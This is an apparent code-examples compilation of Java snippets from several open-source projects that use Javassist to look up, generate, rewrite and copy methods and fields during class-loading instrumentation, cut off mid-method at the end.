private void autoInjectGetSet(CtClass ctClass) throws Exception {

    // hibernate 可能需要 setter/getter 方法,好吧 我们为它添加这些方法

    for (CtField ctField : ctClass.getDeclaredFields()) {
      if (isFinal(ctField) || isStatic(ctField) || ctField.hasAnnotation(Validate.class)) continue;
      // Property name
      String propertyName =
          ctField.getName().substring(0, 1).toUpperCase() + ctField.getName().substring(1);
      String getter = "get" + propertyName;
      String setter = "set" + propertyName;

      try {
        CtMethod ctMethod = ctClass.getDeclaredMethod(getter);
        if (ctMethod.getParameterTypes().length > 0 || Modifier.isStatic(ctMethod.getModifiers())) {
          throw new NotFoundException("it's not a getter !");
        }
      } catch (NotFoundException noGetter) {

        String code =
            "public "
                + ctField.getType().getName()
                + " "
                + getter
                + "() { return this."
                + ctField.getName()
                + "; }";
        CtMethod getMethod = CtMethod.make(code, ctClass);
        getMethod.setModifiers(getMethod.getModifiers() | AccessFlag.SYNTHETIC);
        ctClass.addMethod(getMethod);
      }

      try {
        CtMethod ctMethod = ctClass.getDeclaredMethod(setter);
        if (ctMethod.getParameterTypes().length != 1
            || !ctMethod.getParameterTypes()[0].equals(ctField.getType())
            || Modifier.isStatic(ctMethod.getModifiers())) {
          throw new NotFoundException("it's not a setter !");
        }
      } catch (NotFoundException noSetter) {
        CtMethod setMethod =
            CtMethod.make(
                "public void "
                    + setter
                    + "("
                    + ctField.getType().getName()
                    + " value) { this."
                    + ctField.getName()
                    + " = value; }",
                ctClass);
        setMethod.setModifiers(setMethod.getModifiers() | AccessFlag.SYNTHETIC);
        ctClass.addMethod(setMethod);
      }
    }
    ctClass.defrost();
  }
  static TypeParameterMatcher generate(Class<?> type, ClassLoader classLoader) {
    final String className = "io.netty.util.internal.__matchers__." + type.getName() + "Matcher";
    try {
      try {
        return (TypeParameterMatcher) Class.forName(className, true, classLoader).newInstance();
      } catch (Exception e) {
        // Not defined in the specified class loader.
      }

      CtClass c = classPool.getAndRename(NoOpTypeParameterMatcher.class.getName(), className);
      c.setModifiers(c.getModifiers() | Modifier.FINAL);
      c.getDeclaredMethod("match").setBody("{ return $1 instanceof " + type.getName() + "; }");
      byte[] byteCode = c.toBytecode();
      c.detach();
      Method method =
          ClassLoader.class.getDeclaredMethod(
              "defineClass", String.class, byte[].class, int.class, int.class);
      method.setAccessible(true);

      Class<?> generated =
          (Class<?>) method.invoke(classLoader, className, byteCode, 0, byteCode.length);
      logger.debug("Generated: {}", generated.getName());
      return (TypeParameterMatcher) generated.newInstance();
    } catch (RuntimeException e) {
      throw e;
    } catch (Exception e) {
      throw new RuntimeException(e);
    }
  }
 private void transformParameterizedGetMemcacheServiceMethod(CtClass clazz)
     throws NotFoundException, CannotCompileException {
   CtMethod method =
       clazz.getDeclaredMethod(
           "getMemcacheService", new CtClass[] {clazz.getClassPool().get("java.lang.String")});
   method.setBody("return new org.jboss.capedwarf.memcache.InfinispanMemcacheService($1);");
 }
 private void findAndRemoveMethod(CtClass ctClass, String methodName) throws NotFoundException {
   try {
     CtMethod ctMethod = ctClass.getDeclaredMethod(methodName);
     ctClass.getClassFile().getMethods().remove(ctMethod.getMethodInfo());
   } catch (Exception e) {
   }
 }
 public static DialogFieldConfig getDialogFieldFromSuperClasses(CtMethod method)
     throws NotFoundException, ClassNotFoundException, InvalidComponentClassException {
   DialogFieldConfig dialogFieldConfig = null;
   List<CtClass> classes = new ArrayList<CtClass>();
   CtClass clazz = method.getDeclaringClass();
   classes.add(clazz);
   while (clazz.getSuperclass() != null) {
     classes.add(clazz.getSuperclass());
     clazz = clazz.getSuperclass();
   }
   Collections.reverse(classes);
   CtMember interfaceMember = getMemberForAnnotatedInterfaceMethod(method);
   if (interfaceMember != null) {
     dialogFieldConfig =
         new DialogFieldConfig(
             (DialogField) interfaceMember.getAnnotation(DialogField.class), interfaceMember);
   }
   for (CtClass ctclass : classes) {
     try {
       CtMethod superClassMethod =
           ctclass.getDeclaredMethod(method.getName(), method.getParameterTypes());
       if (superClassMethod.hasAnnotation(DialogField.class)) {
         dialogFieldConfig =
             new DialogFieldConfig(
                 (DialogField) superClassMethod.getAnnotation(DialogField.class),
                 superClassMethod);
       } else if (superClassMethod.hasAnnotation(DialogFieldOverride.class)) {
         mergeDialogFields(dialogFieldConfig, superClassMethod);
       }
     } catch (NotFoundException e) {
     }
   }
   return dialogFieldConfig;
 }
 private static CtMember getMemberForAnnotatedInterfaceMethod(CtMethod member)
     throws InvalidComponentClassException, ClassNotFoundException, NotFoundException {
   CtMethod newMember = null;
   List<CtClass> interfaces = new ArrayList<CtClass>();
   CtClass clazz = member.getDeclaringClass();
   while (clazz != null) {
     interfaces.addAll(Arrays.asList(clazz.getInterfaces()));
     clazz = clazz.getSuperclass();
   }
   for (CtClass ctclass : interfaces) {
     try {
       CtMethod newMethodMember =
           ctclass.getDeclaredMethod(member.getName(), member.getParameterTypes());
       DialogField tempDialogProperty =
           (DialogField) newMethodMember.getAnnotation(DialogField.class);
       if (tempDialogProperty != null) {
         if (newMember == null) {
           newMember = newMethodMember;
         } else {
           throw new InvalidComponentClassException(
               "Class has multiple interfaces that have the same method signature annotated");
         }
       }
     } catch (NotFoundException e) {
     }
   }
   if (newMember != null) {
     member = newMember;
   }
   return newMember;
 }
  @Override
  public void describeTo(StringBuilder stringBuilder) {
    ClosureUtil.SourceInfo sourceInfo = ClosureUtil.getSourceInfo(invoker.getClosure());
    if (sourceInfo == null) {
      ClassPool pool = ClassPool.getDefault();
      try {
        CtClass ctClass = pool.get(invoker.getClosure().getClass().getName());
        CtMethod ctMethod = ctClass.getDeclaredMethod("doCall");
        int lineNumber = ctMethod.getMethodInfo().getLineNumber(0);

        ClassFile classFile = ctClass.getClassFile();
        String sourceFile = classFile.getSourceFile();

        if (lineNumber != -1 && sourceFile != null) {
          stringBuilder
              .append("closure at line ")
              .append(lineNumber)
              .append(" of ")
              .append(sourceFile);
        } else {
          stringBuilder.append("closure ").append(invoker.getClosure().getClass().getName());
        }
      } catch (NotFoundException e) {
        stringBuilder.append(invoker.getClosure().getClass().getName());
      }
    } else {
      stringBuilder
          .append("closure at line ")
          .append(sourceInfo.getLineNumber())
          .append(" of ")
          .append(sourceInfo.getUri());
    }
  }
Example #8
0
 /**
  * Return whether or not the class has a method with the given name
  *
  * @param theClass the class to inspect
  * @param theName the name of the method to look for
  * @return true if the class contains the method, false otherwise
  */
 private static boolean hasMethod(CtClass theClass, String theName) {
   try {
     return theClass.getDeclaredMethod(theName) != null
         && !Modifier.isAbstract(theClass.getDeclaredMethod(theName).getModifiers());
   } catch (NotFoundException e) {
     try {
       if (theClass.getSuperclass() != null) {
         return hasMethod(theClass.getSuperclass(), theName);
       } else {
         return false;
       }
     } catch (NotFoundException e1) {
       return false;
     }
   }
 }
  private void findAndRemoveMethod(CtClass ctClass, CtField ctField, String className) {

    try {
      CtMethod ctMethod =
          ctClass.getDeclaredMethod(
              ctField.getName(), new CtClass[] {ctClass.getClassPool().get(className)});
      ctClass.getClassFile().getMethods().remove(ctMethod.getMethodInfo());
    } catch (Exception e) {
    }
  }
 private void transformGetAsyncMemcacheServiceMethod(CtClass clazz)
     throws NotFoundException, CannotCompileException {
   CtMethod method = clazz.getDeclaredMethod("getAsyncMemcacheService");
   method.setBody("return new org.jboss.capedwarf.memcache.JBossAsyncMemcacheService();");
 }
Example #11
0
  @Override
  public void enhanceThisClass(ApplicationClass applicationClass) throws Exception {

    final CtClass ctClass = makeClass(applicationClass);
    if (ctClass.isInterface()) {
      return;
    }
    if (ctClass.getName().endsWith(".package")) {
      return;
    }

    // Add a default constructor if needed
    try {
      boolean hasDefaultConstructor = false;
      for (CtConstructor constructor : ctClass.getDeclaredConstructors()) {
        if (constructor.getParameterTypes().length == 0) {
          hasDefaultConstructor = true;
          break;
        }
      }
      if (!hasDefaultConstructor && !ctClass.isInterface()) {
        CtConstructor defaultConstructor =
            CtNewConstructor.make("public " + ctClass.getSimpleName() + "() {}", ctClass);
        ctClass.addConstructor(defaultConstructor);
      }
    } catch (Exception e) {
      Logger.error(e, "Error in PropertiesEnhancer");
      throw new UnexpectedException("Error in PropertiesEnhancer", e);
    }

    if (isScala(applicationClass)) {
      // Temporary hack for Scala. Done.
      applicationClass.enhancedByteCode = ctClass.toBytecode();
      ctClass.defrost();
      return;
    }

    for (CtField ctField : ctClass.getDeclaredFields()) {
      try {

        if (isProperty(ctField)) {

          // Property name
          String propertyName =
              ctField.getName().substring(0, 1).toUpperCase() + ctField.getName().substring(1);
          String getter = "get" + propertyName;
          String setter = "set" + propertyName;

          try {
            CtMethod ctMethod = ctClass.getDeclaredMethod(getter);
            if (ctMethod.getParameterTypes().length > 0
                || Modifier.isStatic(ctMethod.getModifiers())) {
              throw new NotFoundException("it's not a getter !");
            }
          } catch (NotFoundException noGetter) {

            // Créé le getter
            String code =
                "public "
                    + ctField.getType().getName()
                    + " "
                    + getter
                    + "() { return this."
                    + ctField.getName()
                    + "; }";
            CtMethod getMethod = CtMethod.make(code, ctClass);
            getMethod.setModifiers(getMethod.getModifiers() | AccessFlag.SYNTHETIC);
            ctClass.addMethod(getMethod);
          }

          if (!isFinal(ctField)) {
            try {
              CtMethod ctMethod = ctClass.getDeclaredMethod(setter);
              if (ctMethod.getParameterTypes().length != 1
                  || !ctMethod.getParameterTypes()[0].equals(ctField.getType())
                  || Modifier.isStatic(ctMethod.getModifiers())) {
                throw new NotFoundException("it's not a setter !");
              }
            } catch (NotFoundException noSetter) {
              // Créé le setter
              CtMethod setMethod =
                  CtMethod.make(
                      "public void "
                          + setter
                          + "("
                          + ctField.getType().getName()
                          + " value) { this."
                          + ctField.getName()
                          + " = value; }",
                      ctClass);
              setMethod.setModifiers(setMethod.getModifiers() | AccessFlag.SYNTHETIC);
              ctClass.addMethod(setMethod);
              createAnnotation(getAnnotations(setMethod), PlayPropertyAccessor.class);
            }
          }
        }

      } catch (Exception e) {
        Logger.error(e, "Error in PropertiesEnhancer");
        throw new UnexpectedException("Error in PropertiesEnhancer", e);
      }
    }

    // Add a default constructor if needed
    try {
      boolean hasDefaultConstructor = false;
      for (CtConstructor constructor : ctClass.getDeclaredConstructors()) {
        if (constructor.getParameterTypes().length == 0) {
          hasDefaultConstructor = true;
          break;
        }
      }
      if (!hasDefaultConstructor) {
        CtConstructor defaultConstructor = CtNewConstructor.defaultConstructor(ctClass);
        ctClass.addConstructor(defaultConstructor);
      }
    } catch (Exception e) {
      Logger.error(e, "Error in PropertiesEnhancer");
      throw new UnexpectedException("Error in PropertiesEnhancer", e);
    }

    // Intercept all fields access
    for (final CtBehavior ctMethod : ctClass.getDeclaredBehaviors()) {
      ctMethod.instrument(
          new ExprEditor() {

            @Override
            public void edit(FieldAccess fieldAccess) throws CannotCompileException {
              try {

                // Acces à une property ?
                if (isProperty(fieldAccess.getField())) {

                  // TODO : vérifier que c'est bien un champ d'une classe de l'application
                  // (fieldAccess.getClassName())

                  // Si c'est un getter ou un setter
                  String propertyName = null;
                  if (fieldAccess
                          .getField()
                          .getDeclaringClass()
                          .equals(ctMethod.getDeclaringClass())
                      || ctMethod
                          .getDeclaringClass()
                          .subclassOf(fieldAccess.getField().getDeclaringClass())) {
                    if ((ctMethod.getName().startsWith("get")
                            || (!isFinal(fieldAccess.getField())
                                && ctMethod.getName().startsWith("set")))
                        && ctMethod.getName().length() > 3) {
                      propertyName = ctMethod.getName().substring(3);
                      propertyName =
                          propertyName.substring(0, 1).toLowerCase() + propertyName.substring(1);
                    }
                  }

                  // On n'intercepte pas le getter de sa propre property
                  if (propertyName == null || !propertyName.equals(fieldAccess.getFieldName())) {

                    String invocationPoint =
                        ctClass.getName()
                            + "."
                            + ctMethod.getName()
                            + ", line "
                            + fieldAccess.getLineNumber();

                    if (fieldAccess.isReader()) {

                      // Réécris l'accés en lecture à la property
                      fieldAccess.replace(
                          "$_ = ($r)play.classloading.enhancers.PropertiesEnhancer.FieldAccessor.invokeReadProperty($0, \""
                              + fieldAccess.getFieldName()
                              + "\", \""
                              + fieldAccess.getClassName()
                              + "\", \""
                              + invocationPoint
                              + "\");");

                    } else if (!isFinal(fieldAccess.getField()) && fieldAccess.isWriter()) {

                      // Réécris l'accés en ecriture à la property
                      fieldAccess.replace(
                          "play.classloading.enhancers.PropertiesEnhancer.FieldAccessor.invokeWriteProperty($0, \""
                              + fieldAccess.getFieldName()
                              + "\", "
                              + fieldAccess.getField().getType().getName()
                              + ".class, $1, \""
                              + fieldAccess.getClassName()
                              + "\", \""
                              + invocationPoint
                              + "\");");
                    }
                  }
                }

              } catch (Exception e) {
                throw new UnexpectedException("Error in PropertiesEnhancer", e);
              }
            }
          });
    }

    // Done.
    applicationClass.enhancedByteCode = ctClass.toBytecode();
    ctClass.defrost();
  }
  /**
   * Creates a map of concrete json request handler invokers keyed by <b><code>
   * &lt;service-name&gt;/&lt;op-name&gt;</code></b>.
   *
   * @param handlerInstance The request handler instance to generate invokers for
   * @return the map of generated invokers
   */
  public static Map<String, Map<String, AbstractJSONRequestHandlerInvoker>> createInvokers(
      Object handlerInstance) {
    if (handlerInstance == null)
      throw new IllegalArgumentException("The passed handlerInstance was null");
    Map<String, AbstractJSONRequestHandlerInvoker> subInvokerMap =
        new HashMap<String, AbstractJSONRequestHandlerInvoker>();
    Map<String, Map<String, AbstractJSONRequestHandlerInvoker>> invokerMap =
        invokerCache.get(handlerInstance.getClass());
    if (invokerMap != null) {
      LOG.info("Found Cached Invokers for [{}]", handlerInstance.getClass().getName());
      return invokerMap;
    }
    invokerMap = new HashMap<String, Map<String, AbstractJSONRequestHandlerInvoker>>(1);

    LOG.info("Generating Invokers for [{}]", handlerInstance.getClass().getName());
    JSONRequestService svc = handlerInstance.getClass().getAnnotation(JSONRequestService.class);
    final String invokerServiceKey = svc.name();
    final String invokerServiceDescription = svc.description();

    invokerMap.put(invokerServiceKey, subInvokerMap);

    ClassPool cp = new ClassPool();
    cp.appendClassPath(new ClassClassPath(handlerInstance.getClass()));
    cp.appendClassPath(new ClassClassPath(AbstractJSONRequestHandlerInvoker.class));
    cp.importPackage(handlerInstance.getClass().getPackage().getName());
    Set<ClassLoader> classPathsAdded = new HashSet<ClassLoader>();
    Set<String> packagesImported = new HashSet<String>();
    try {
      final CtClass jsonRequestCtClass = cp.get(JSONRequest.class.getName());
      final CtClass parent = cp.get(AbstractJSONRequestHandlerInvoker.class.getName());
      CtClass targetClass = cp.get(handlerInstance.getClass().getName());
      Collection<Method> methods = getTargetMethods(handlerInstance.getClass());
      for (Method m : methods) {
        final JSONRequestHandler jsonHandler = m.getAnnotation(JSONRequestHandler.class);
        final String opName = jsonHandler.name();
        final String opDescription = jsonHandler.description();
        final RequestType opType = jsonHandler.type();

        int targetMethodHashCode = m.toGenericString().hashCode();
        final String className =
            String.format(
                "%s-%s%s-%s-%s",
                handlerInstance.getClass().getName(),
                invokerServiceKey,
                opName,
                "ServiceInvoker",
                targetMethodHashCode);

        final CtClass invokerClass = cp.makeClass(className, parent);
        CtField ctf = new CtField(targetClass, "typedTarget", invokerClass);
        ctf.setModifiers(ctf.getModifiers() | Modifier.FINAL);
        invokerClass.addField(ctf);
        for (CtConstructor parentCtor : parent.getConstructors()) {
          CtConstructor invokerCtor = CtNewConstructor.copy(parentCtor, invokerClass, null);
          invokerCtor.setBody(
              "{ super($$); typedTarget = (" + handlerInstance.getClass().getName() + ")$1; }");
          invokerClass.addConstructor(invokerCtor);
        }
        CtMethod invokerMethod =
            CtNewMethod.copy(
                parent.getDeclaredMethod("doInvoke", new CtClass[] {jsonRequestCtClass}),
                invokerClass,
                null);
        StringBuilder b = new StringBuilder("{this.typedTarget.").append(m.getName()).append("($1");
        final Class<?>[] ptypes = m.getParameterTypes();
        final int remainingParamCount = ptypes.length - 1;
        //				Set<Class<?>> classPathsAdded = new HashSet<Class<?>>();
        //				Set<String> packagesImported = new HashSet<String>();
        if (remainingParamCount > 0) {
          for (int i = 0; i < remainingParamCount; i++) {
            final Class<?> type = ptypes[i + 1];
            if (type.getName().contains("UniqueIdType")) {
              System.err.println("Comin Up....");
            }
            if (type.isPrimitive()) {
              b.append(", (").append(type.getName()).append(") null");
            } else {
              if (classPathsAdded.add(type.getClassLoader())) {
                cp.appendClassPath(new LoaderClassPath(type.getClassLoader()));
              }
              try {
                Package p = type.getPackage();
                if (p == null) {
                  if (type.isArray()) {
                    if (!type.getComponentType().isPrimitive()) {
                      p = type.getComponentType().getPackage();
                    }
                  }
                }
                if (type.isEnum()) {
                  final String f = type.getEnclosingClass().getName() + "." + type.getSimpleName();
                  b.append(", (").append(f).append(") null");
                  String pack = type.getEnclosingClass().getPackage().getName();
                  if (packagesImported.add(pack)) {
                    cp.importPackage(pack);
                  }
                  continue;
                }

                if (p != null) {
                  if (packagesImported.add(p.getName())) {
                    cp.importPackage(p.getName());
                  }
                }
              } catch (Exception ex) {
                ex.printStackTrace(System.err);
              }
              b.append(", (").append(type.getSimpleName()).append(") null");
            }
          }
        }

        b.append(");}");
        System.out.println("[" + m.getName() + "]: [" + b.toString() + "]");
        // invokerMethod.setBody("{this.typedTarget." + m.getName() + "($1);}");
        invokerMethod.setBody(b.toString());
        invokerMethod.setModifiers(invokerMethod.getModifiers() & ~Modifier.ABSTRACT);
        invokerClass.addMethod(invokerMethod);
        // invokerClass.writeFile(System.getProperty("java.io.tmpdir") + File.separator +
        // "jsoninvokers");
        Class<?> clazz =
            invokerClass.toClass(
                handlerInstance.getClass().getClassLoader(),
                handlerInstance.getClass().getProtectionDomain());
        Constructor<?> ctor =
            clazz.getDeclaredConstructor(
                Object.class,
                String.class,
                String.class,
                String.class,
                String.class,
                RequestType.class);
        AbstractJSONRequestHandlerInvoker invokerInstance =
            (AbstractJSONRequestHandlerInvoker)
                ctor.newInstance(
                    handlerInstance,
                    invokerServiceKey,
                    invokerServiceDescription,
                    opName,
                    opDescription,
                    opType);
        subInvokerMap.put(opName, invokerInstance);
      }
      invokerCache.put(handlerInstance.getClass(), invokerMap);
      return invokerMap;
    } catch (Exception ex) {
      LOG.error(
          "Failed to create RequestHandlerInvoker for [{}]",
          handlerInstance.getClass().getName(),
          ex);
      throw new RuntimeException(
          "Failed to create RequestHandlerInvoker [" + handlerInstance.getClass().getName() + "]",
          ex);
    }
  }
  @Override
  public byte[] transform(
      ClassLoader loader,
      String className,
      Class<?> classBeingRedefined,
      ProtectionDomain protectionDomain,
      byte[] classfileBuffer)
      throws IllegalClassFormatException {
    // Be careful with Apache library usage in this class (e.g. ArrayUtils). Usage will likely cause
    // a ClassCircularityError
    // under JRebel. Favor not including outside libraries and unnecessary classes.
    CtClass clazz = null;
    try {
      boolean mySkipOverlaps = skipOverlaps;
      boolean myRenameMethodOverlaps = renameMethodOverlaps;
      String convertedClassName = className.replace('/', '.');
      ClassPool classPool = null;
      String xformKey = convertedClassName;
      String[] xformVals = null;
      Boolean[] xformSkipOverlaps = null;
      Boolean[] xformRenameMethodOverlaps = null;
      if (!xformTemplates.isEmpty()) {
        if (xformTemplates.containsKey(xformKey)) {
          xformVals = xformTemplates.get(xformKey).split(",");
          classPool = ClassPool.getDefault();
          clazz = classPool.makeClass(new ByteArrayInputStream(classfileBuffer), false);
        }
      } else {
        if (annotationTransformedClasses.contains(convertedClassName)) {
          logger.warn(
              convertedClassName
                  + " has already been transformed by a previous instance of DirectCopyTransfomer. "
                  + "Skipping this annotation based transformation. Generally, annotation-based transformation is handled "
                  + "by bean id blAnnotationDirectCopyClassTransformer with template tokens being added to "
                  + "blDirectCopyTransformTokenMap via EarlyStageMergeBeanPostProcessor.");
        }
        boolean isValidPattern = true;
        List<DirectCopyIgnorePattern> matchedPatterns = new ArrayList<DirectCopyIgnorePattern>();
        for (DirectCopyIgnorePattern pattern : ignorePatterns) {
          boolean isPatternMatch = false;
          for (String patternString : pattern.getPatterns()) {
            isPatternMatch = convertedClassName.matches(patternString);
            if (isPatternMatch) {
              break;
            }
          }
          if (isPatternMatch) {
            matchedPatterns.add(pattern);
          }
          isValidPattern = !(isPatternMatch && pattern.getTemplateTokenPatterns() == null);
          if (!isValidPattern) {
            return null;
          }
        }
        if (isValidPattern) {
          classPool = ClassPool.getDefault();
          clazz = classPool.makeClass(new ByteArrayInputStream(classfileBuffer), false);
          List<?> attributes = clazz.getClassFile().getAttributes();
          Iterator<?> itr = attributes.iterator();
          List<String> templates = new ArrayList<String>();
          List<Boolean> skips = new ArrayList<Boolean>();
          List<Boolean> renames = new ArrayList<Boolean>();
          check:
          {
            while (itr.hasNext()) {
              Object object = itr.next();
              if (AnnotationsAttribute.class.isAssignableFrom(object.getClass())) {
                AnnotationsAttribute attr = (AnnotationsAttribute) object;
                Annotation[] items = attr.getAnnotations();
                for (Annotation annotation : items) {
                  String typeName = annotation.getTypeName();
                  if (typeName.equals(DirectCopyTransform.class.getName())) {
                    ArrayMemberValue arrayMember =
                        (ArrayMemberValue) annotation.getMemberValue("value");
                    for (MemberValue arrayMemberValue : arrayMember.getValue()) {
                      AnnotationMemberValue member = (AnnotationMemberValue) arrayMemberValue;
                      Annotation memberAnnot = member.getValue();
                      ArrayMemberValue annot =
                          (ArrayMemberValue) memberAnnot.getMemberValue("templateTokens");
                      for (MemberValue memberValue : annot.getValue()) {
                        String val = ((StringMemberValue) memberValue).getValue();
                        if (val != null && templateTokens.containsKey(val)) {
                          templateCheck:
                          {
                            for (DirectCopyIgnorePattern matchedPattern : matchedPatterns) {
                              for (String ignoreToken : matchedPattern.getTemplateTokenPatterns()) {
                                if (val.matches(ignoreToken)) {
                                  break templateCheck;
                                }
                              }
                            }
                            templates.add(templateTokens.get(val));
                          }
                        }
                      }
                      BooleanMemberValue skipAnnot =
                          (BooleanMemberValue) memberAnnot.getMemberValue("skipOverlaps");
                      if (skipAnnot != null) {
                        skips.add(skipAnnot.getValue());
                      } else {
                        skips.add(mySkipOverlaps);
                      }
                      BooleanMemberValue renameAnnot =
                          (BooleanMemberValue) memberAnnot.getMemberValue("renameMethodOverlaps");
                      if (renameAnnot != null) {
                        renames.add(renameAnnot.getValue());
                      } else {
                        renames.add(myRenameMethodOverlaps);
                      }
                    }
                    xformVals = templates.toArray(new String[templates.size()]);
                    xformSkipOverlaps = skips.toArray(new Boolean[skips.size()]);
                    xformRenameMethodOverlaps = renames.toArray(new Boolean[renames.size()]);
                    break check;
                  }
                }
              }
            }
          }
        }
      }
      if (xformVals != null && xformVals.length > 0) {
        logger.lifecycle(
            LifeCycleEvent.START,
            String.format(
                "Transform - Copying into [%s] from [%s]",
                xformKey, StringUtils.join(xformVals, ",")));
        // Load the destination class and defrost it so it is eligible for modifications
        clazz.defrost();

        int index = 0;
        for (String xformVal : xformVals) {
          // Load the source class
          String trimmed = xformVal.trim();
          classPool.appendClassPath(new LoaderClassPath(Class.forName(trimmed).getClassLoader()));
          CtClass template = classPool.get(trimmed);

          // Add in extra interfaces
          CtClass[] interfacesToCopy = template.getInterfaces();
          for (CtClass i : interfacesToCopy) {
            checkInterfaces:
            {
              CtClass[] myInterfaces = clazz.getInterfaces();
              for (CtClass myInterface : myInterfaces) {
                if (myInterface.getName().equals(i.getName())) {
                  if (xformSkipOverlaps[index]) {
                    break checkInterfaces;
                  } else {
                    throw new RuntimeException(
                        "Duplicate interface detected " + myInterface.getName());
                  }
                }
              }
              logger.debug(String.format("Adding interface [%s]", i.getName()));
              clazz.addInterface(i);
            }
          }

          // copy over any EntityListeners
          ClassFile classFile = clazz.getClassFile();
          ClassFile templateFile = template.getClassFile();
          ConstPool constantPool = classFile.getConstPool();
          buildClassLevelAnnotations(classFile, templateFile, constantPool);

          // Copy over all declared fields from the template class
          // Note that we do not copy over fields with the @NonCopiedField annotation
          CtField[] fieldsToCopy = template.getDeclaredFields();
          for (CtField field : fieldsToCopy) {
            if (field.hasAnnotation(NonCopied.class)) {
              logger.debug(String.format("Not adding field [%s]", field.getName()));
            } else {
              try {
                CtField ctField = clazz.getDeclaredField(field.getName());
                String originalSignature = ctField.getSignature();
                String mySignature = field.getSignature();
                if (!originalSignature.equals(mySignature)) {
                  throw new IllegalArgumentException(
                      "Field with name ("
                          + field.getName()
                          + ") and signature "
                          + "("
                          + field.getSignature()
                          + ") is targeted for weaving into ("
                          + clazz.getName()
                          + "). "
                          + "An incompatible field of the same name and signature of ("
                          + ctField.getSignature()
                          + ") "
                          + "already exists. The field in the target class should be updated to a different name, "
                          + "or made to have a matching type.");
                }
                if (xformSkipOverlaps[index]) {
                  logger.debug(String.format("Skipping overlapped field [%s]", field.getName()));
                  continue;
                }
              } catch (NotFoundException e) {
                // do nothing -- field does not exist
              }
              logger.debug(String.format("Adding field [%s]", field.getName()));
              CtField copiedField = new CtField(field, clazz);

              boolean defaultConstructorFound = false;

              String implClass = getImplementationType(field.getType().getName());

              // Look through all of the constructors in the implClass to see
              // if there is one that takes zero parameters
              try {
                CtConstructor[] implConstructors = classPool.get(implClass).getConstructors();
                if (implConstructors != null) {
                  for (CtConstructor cons : implConstructors) {
                    if (cons.getParameterTypes().length == 0) {
                      defaultConstructorFound = true;
                      break;
                    }
                  }
                }
              } catch (NotFoundException e) {
                // Do nothing -- if we don't find this implementation, it's probably because it's
                // an array. In this case, we will not initialize the field.
              }

              if (defaultConstructorFound) {
                clazz.addField(copiedField, "new " + implClass + "()");
              } else {
                clazz.addField(copiedField);
              }
            }
          }

          // Copy over all declared methods from the template class
          CtMethod[] methodsToCopy = template.getDeclaredMethods();
          for (CtMethod method : methodsToCopy) {
            if (method.hasAnnotation(NonCopied.class)) {
              logger.debug(String.format("Not adding method [%s]", method.getName()));
            } else {
              try {
                CtClass[] paramTypes = method.getParameterTypes();
                CtMethod originalMethod = clazz.getDeclaredMethod(method.getName(), paramTypes);

                if (xformSkipOverlaps[index]) {
                  logger.debug(
                      String.format(
                          "Skipping overlapped method [%s]", methodDescription(originalMethod)));
                  continue;
                }

                if (transformedMethods.contains(methodDescription(originalMethod))) {
                  throw new RuntimeException(
                      "Method already replaced " + methodDescription(originalMethod));
                } else {
                  logger.debug(
                      String.format("Marking as replaced [%s]", methodDescription(originalMethod)));
                  transformedMethods.add(methodDescription(originalMethod));
                }

                logger.debug(String.format("Removing method [%s]", method.getName()));
                if (xformRenameMethodOverlaps[index]) {
                  originalMethod.setName(renameMethodPrefix + method.getName());
                } else {
                  clazz.removeMethod(originalMethod);
                }
              } catch (NotFoundException e) {
                // Do nothing -- we don't need to remove a method because it doesn't exist
              }

              logger.debug(String.format("Adding method [%s]", method.getName()));
              CtMethod copiedMethod = new CtMethod(method, clazz, null);
              clazz.addMethod(copiedMethod);
            }
          }
          index++;
        }

        if (xformTemplates.isEmpty()) {
          annotationTransformedClasses.add(convertedClassName);
        }
        logger.lifecycle(
            LifeCycleEvent.END,
            String.format(
                "Transform - Copying into [%s] from [%s]",
                xformKey, StringUtils.join(xformVals, ",")));
        return clazz.toBytecode();
      }
    } catch (ClassCircularityError error) {
      error.printStackTrace();
      throw error;
    } catch (Exception e) {
      throw new RuntimeException("Unable to transform class", e);
    } finally {
      if (clazz != null) {
        clazz.detach();
      }
    }

    return null;
  }
  @Override
  public byte[] transform(
      ClassLoader loader,
      String className,
      Class<?> classBeingRedefined,
      ProtectionDomain protectionDomain,
      byte[] classfileBuffer)
      throws IllegalClassFormatException {
    String convertedClassName = className.replace('/', '.');

    if (xformTemplates.containsKey(convertedClassName)) {
      String xformKey = convertedClassName;
      String[] xformVals = xformTemplates.get(xformKey).split(",");
      logger.lifecycle(
          LifeCycleEvent.START,
          String.format(
              "Transform - Copying into [%s] from [%s]",
              xformKey, StringUtils.join(xformVals, ",")));

      try {
        // Load the destination class and defrost it so it is eligible for modifications
        ClassPool classPool = ClassPool.getDefault();
        CtClass clazz = classPool.makeClass(new ByteArrayInputStream(classfileBuffer), false);
        clazz.defrost();

        for (String xformVal : xformVals) {
          // Load the source class
          String trimmed = xformVal.trim();
          classPool.appendClassPath(new LoaderClassPath(Class.forName(trimmed).getClassLoader()));
          CtClass template = classPool.get(trimmed);

          // Add in extra interfaces
          CtClass[] interfacesToCopy = template.getInterfaces();
          for (CtClass i : interfacesToCopy) {
            logger.debug(String.format("Adding interface [%s]", i.getName()));
            clazz.addInterface(i);
          }

          // Copy over all declared fields from the template class
          // Note that we do not copy over fields with the @NonCopiedField annotation
          CtField[] fieldsToCopy = template.getDeclaredFields();
          for (CtField field : fieldsToCopy) {
            if (field.hasAnnotation(NonCopied.class)) {
              logger.debug(String.format("Not adding field [%s]", field.getName()));
            } else {
              logger.debug(String.format("Adding field [%s]", field.getName()));
              CtField copiedField = new CtField(field, clazz);

              boolean defaultConstructorFound = false;

              String implClass = getImplementationType(field.getType().getName());

              // Look through all of the constructors in the implClass to see
              // if there is one that takes zero parameters
              try {
                CtConstructor[] implConstructors = classPool.get(implClass).getConstructors();
                if (implConstructors != null) {
                  for (CtConstructor cons : implConstructors) {
                    if (cons.getParameterTypes().length == 0) {
                      defaultConstructorFound = true;
                      break;
                    }
                  }
                }
              } catch (NotFoundException e) {
                // Do nothing -- if we don't find this implementation, it's probably because it's
                // an array. In this case, we will not initialize the field.
              }

              if (defaultConstructorFound) {
                clazz.addField(copiedField, "new " + implClass + "()");
              } else {
                clazz.addField(copiedField);
              }
            }
          }

          // Copy over all declared methods from the template class
          CtMethod[] methodsToCopy = template.getDeclaredMethods();
          for (CtMethod method : methodsToCopy) {
            if (method.hasAnnotation(NonCopied.class)) {
              logger.debug(String.format("Not adding method [%s]", method.getName()));
            } else {
              try {
                CtClass[] paramTypes = method.getParameterTypes();
                CtMethod originalMethod = clazz.getDeclaredMethod(method.getName(), paramTypes);

                if (transformedMethods.contains(methodDescription(originalMethod))) {
                  throw new RuntimeException(
                      "Method already replaced " + methodDescription(originalMethod));
                } else {
                  logger.debug(
